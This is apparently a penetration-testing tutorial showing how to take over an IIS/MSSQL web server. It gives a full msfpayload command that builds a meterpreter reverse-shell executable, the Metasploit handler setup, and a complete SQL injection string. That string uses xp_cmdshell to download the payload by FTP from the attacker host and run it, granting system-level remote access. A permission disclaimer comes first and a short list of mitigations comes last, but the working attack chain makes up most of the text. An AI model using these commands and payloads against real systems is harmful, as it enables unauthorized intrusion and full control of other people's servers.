Only use these techniques on your own test network, or where you have express permission. Remember it is your Karma, and see the mitigations for these threats at the bottom of this article
This will be a limited useage payload, as you need to specify the IP address and port that the victim machine will connect back to, when you generate the payload, so this is situation-specific.
Imagine we have a webserver, which is running IIS and MSSQL, which has a login page that is vulnerable to SQL injection. We are going to use this vulnerability to upload and run a meterpreter payload, using FTP, and connect back to our attacking machine on port 80 to give us remote access.
Our attacking machine is at 192.168.1.40
To generate the windows executeable meterpreter payload; From the framework3 directory:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.40 LPORT=80 X > /var/ftp/met.exe
Created by msfpayload (http://www.metasploit.com).
As you can see, this is quite small, but will connect back to our attacking machine to download the rest of the functionality. We need to setup a handler on our attacking machine for this purpose.
Go into the Metasploit console and run the following commands:
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.40
set LPORT 80
Now we need to get our payload to our victim machine, which we will do using an FTP transfer, with the following SQL injection exploit in the websites login dialogue box:
' or 1=1;exec master..xp_cmdshell 'echo open 192.168.1.40> ftpmet.txt';exec master..xp_cmdshell 'echo anonymous>> ftpmet.txt';exec master..xp_cmdshell 'echo firstname.lastname@example.org>> ftpmet.txt';exec master..xp_cmdshell 'echo bin>> ftpmet.txt';exec master..xp_cmdshell 'echo get met.exe>> ftpmet.txt';exec master..xp_cmdshell 'echo bye';exec master..xp_cmdshell 'ftp -s:ftpmet.txt';exec master..xp_cmdshell 'met.exe';--
The victim connects back, and there we have our reverse shell with system-level access (in this case). This gives us administrative control over the remote Webserver and we can do with it whatever we like!
I can think of several mitigations for these threats off the top of my head:
Proper input validation in the login page
Restricted outbound ports on the firewall
Content security with exe detection
Intrusion Detection/Prevention Systems IDS/IPS
Running IIS with a restricted account